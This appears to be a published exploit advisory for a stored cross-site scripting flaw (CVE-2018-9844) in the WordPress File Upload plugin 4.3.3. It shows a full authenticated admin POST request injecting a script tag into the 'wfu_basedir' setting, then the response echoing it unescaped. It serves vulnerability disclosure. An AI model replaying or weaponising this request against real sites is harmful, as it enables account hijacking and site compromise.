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3.4 KiB
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107 lines
No EOL
3.4 KiB
Text
# Exploit Title: WordPress Plugin WordPress File Upload 4.3.3 - Stored XSS
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# Date: 06/04/2018
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# Exploit Author: ManhNho
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# Vendor Homepage: https://www.iptanus.com/
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# Software Link: https://downloads.wordpress.org/plugin/wp-file-upload.zip
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# Version: 4.3.3
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# Tested on: Windows 7 / Cent OS 6.5
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# CVE : CVE-2018-9844
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# Category : Webapps
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Description
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===========
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WordPress File Upload is a WordPress plugin with more than 20.000 active
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installations.
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Version 4.3.3 (and possibly previous versions) are affected by a Stored XSS
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vulnerability in the admin panel ,related to the "Edit_Setting"
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functionality.
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PoC
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===============
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Request:
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POST /wp-admin/options-general.php?page=wordpress_file_upload&action=edit_settings
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HTTP/1.1
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Host: 192.168.1.66
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User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101
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Firefox/59.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate
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Referer: http://192.168.1.66/wp-admin/options-general.php?page=
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wordpress_file_upload&action=plugin_settings
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Content-Type: multipart/form-data; boundary=---------------------
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------27678165033834
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Content-Length: 906
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Cookie: wordpress_ce39b1fa1561a0e8d46e02ff9e65f6a0=admin%7C1523124759%
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7CYpPsz6ePz7L52pKrUk6uFioJlynhadnrSuv2lKQNhJe%7Ca3c7a75afaaf9ce1db3596b8aa83
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3adeb337f313ef5156fbf93096c1af0cdbbc; wp-settings-1=libraryContent%3Dbrowse;
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wp-settings-time-1=1522504284; PHPSESSID=o6smfv1u6p8rh7cu7v7gl9lm47;
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wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_
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ce39b1fa1561a0e8d46e02ff9e65f6a0=admin%7C1523124759%
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7CYpPsz6ePz7L52pKrUk6uFioJlynhadnrSuv2lKQNhJe%7C1993c93121805782b8bee82cd013
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6f1a6aa286d4294ed58cb6f95539acdfe5d5
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Connection: close
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Upgrade-Insecure-Requests: 1
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-----------------------------27678165033834
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Content-Disposition: form-data; name="_wpnonce"
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c9d5733e36
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-----------------------------27678165033834
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Content-Disposition: form-data; name="_wp_http_referer"
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/wp-admin/options-general.php?page=wordpress_file_upload&
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action=plugin_settings
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-----------------------------27678165033834
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Content-Disposition: form-data; name="action"
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edit_settings
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-----------------------------27678165033834
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Content-Disposition: form-data; name="wfu_basedir"
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<script>alert('XSS')</script>
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-----------------------------27678165033834
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Content-Disposition: form-data; name="wfu_postmethod"
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fopen
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-----------------------------27678165033834
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Content-Disposition: form-data; name="wfu_admindomain"
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siteurl
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-----------------------------27678165033834
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Content-Disposition: form-data; name="submitform"
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Update
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-----------------------------27678165033834--
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Response:
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HTTP/1.1 200 OK
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Date: Thu, 05 Apr 2018 18:15:01 GMT
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Server: Apache/2.2.15 (CentOS)
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X-Powered-By: PHP/5.3.3
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Expires: Wed, 11 Jan 1984 05:00:00 GMT
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Cache-Control: no-cache, must-revalidate, max-age=0
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Pragma: no-cache
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X-Frame-Options: SAMEORIGIN
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Referrer-Policy: same-origin
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Connection: close
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Content-Type: text/html; charset=UTF-8
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Content-Length: 28623
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...
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<input name="wfu_basedir" id="wfu_basedir" type="text"
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value="<script>alert('XSS')</script>" />
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<p style="cursor: text; font-size:9px; padding: 0px; margin: 0px; width:
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95%; color: #AAAAAA;">Current value: <strong><script>alert('XSS')</
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script></strong></p>
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...
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References
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===============
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https://www.iptanus.com/new-version-4-3-4-of-wordpress-file-upload-plugin/
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https://wordpress.org/plugins/wp-file-upload/#developers
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https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9844 |